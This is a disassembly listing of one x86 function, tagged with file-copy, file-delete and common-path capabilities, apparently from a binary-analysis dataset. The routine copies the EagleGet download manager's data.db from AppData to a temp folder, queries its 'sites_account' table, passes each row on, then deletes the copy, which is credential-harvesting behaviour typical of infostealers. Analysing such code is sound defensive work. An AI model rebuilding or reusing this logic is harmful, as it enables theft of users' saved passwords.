Function at 0x41c422
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1784
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, esp
mov dword [esp + 0x1780], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [esp + 0x7e8]
push esi
push edi
push 0x3e0
push 0
push eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x7f4], 0x61746164
mov dword [esp + 0x7f8], 0x62642e
call fcn.006390b0
add esp, 0xc
lea edi, [esp + 0xfb8]
mov esi, str.EagleGetconfigsdata.db
lea eax, [esp + 0xfd2]
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3ce
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.006390b0
add esp, 0xc
lea edi, [esp + 0xbd0]
mov esi, str.select__from_sites_account_
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3cb
push eax
lea eax, [esp + 0xbf5]
push eax
movsb byte es:[edi], byte [esi]
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
cmp eax, 1
lea eax, [esp + 0x1c]
pop ecx
jbe 0x41c4f7
push ebx
mov esi, 0x3e8
push esi
push eax
call fcn.006494f3
add esp, 0xc
xor ebx, ebx
jmp 0x41c528
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x41c6ec
lea eax, [esp + 0xfb8]
mov esi, 0x3e8
push eax
lea eax, [esp + 0x1c]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.00405670
test eax, eax
jne 0x41c540
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x41c6ec
lea eax, [esp + 0x400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x7e8]
push eax
lea eax, [esp + 0x404]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [esp + 0x400]
push ebx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x41c58c
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x18]
jmp 0x41c593
lea ecx, [esp + 0x400]
push ebx
push 1
lea edx, [esp + 0x14]
call fcn.004bffc8
pop ecx
pop ecx
test eax, eax
jne 0x41c6ec
lea eax, [esp + 0xbd0]
push eax
call fcn.00643470
pop ecx
push ebx
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0xbd8]
push ebx
push 0x80
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x41c6ec
mov edi, dword [esp + 0x10]
test edi, edi
je 0x41c6ec
push edi
call fcn.0047234d
pop ecx
cmp eax, 0x65
je 0x41c665
mov ebx, dword [esp + 0x14]
cmp eax, 0x64
jne 0x41c663
push 0
push edi
call fcn.004728b2
push eax
lea eax, [esp + 0x13ac]
push 0x400
push eax
call fcn.006494f3
add esp, 0x14
push 1
push edi
call fcn.004728b2
push 2
push edi
mov esi, eax
call fcn.004728b2
add esp, 0x10
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
push ecx
push eax
push esi
lea eax, [esp + 0x13b0]
mov ecx, ebx
push eax
push 0x6c5bb9
push 0x8b
push 5
call fcn.0043ee6b
push edi
call fcn.0047234d
pop ecx
cmp eax, 0x65
jne 0x41c5fb
xor ebx, ebx
mov esi, dword [edi]
mov ecx, edi
call fcn.00471953
test eax, eax
je 0x41c67e
mov ecx, 0x15fb2
call fcn.004c0852
jmp 0x41c6d3
cmp dword [esi + 0xc], 0
je 0x41c68e
push dword [esi + 0xc]
call dword [0x70f168]
pop ecx
cmp dword [edi + 0x8c], ebx
jl 0x41c6a9
jg 0x41c6a0
cmp dword [edi + 0x88], ebx
jbe 0x41c6a9
mov edx, edi
mov ecx, esi
call fcn.00471970
mov ecx, edi
call fcn.0047035b
mov ecx, edi
mov ebx, eax
call fcn.004704f6
cmp byte [esi + 0x57], 0
jne 0x41c6c3
test ebx, ebx
je 0x41c6cc
mov edx, ebx
mov ecx, esi
call fcn.00451a83
mov ecx, esi
call fcn.004be94a
mov ecx, dword [esp + 0xc]
xor edx, edx
call fcn.004be7da
lea eax, [esp + 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x178c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.006122f0
mov esp, ebp
pop ebp
ret 4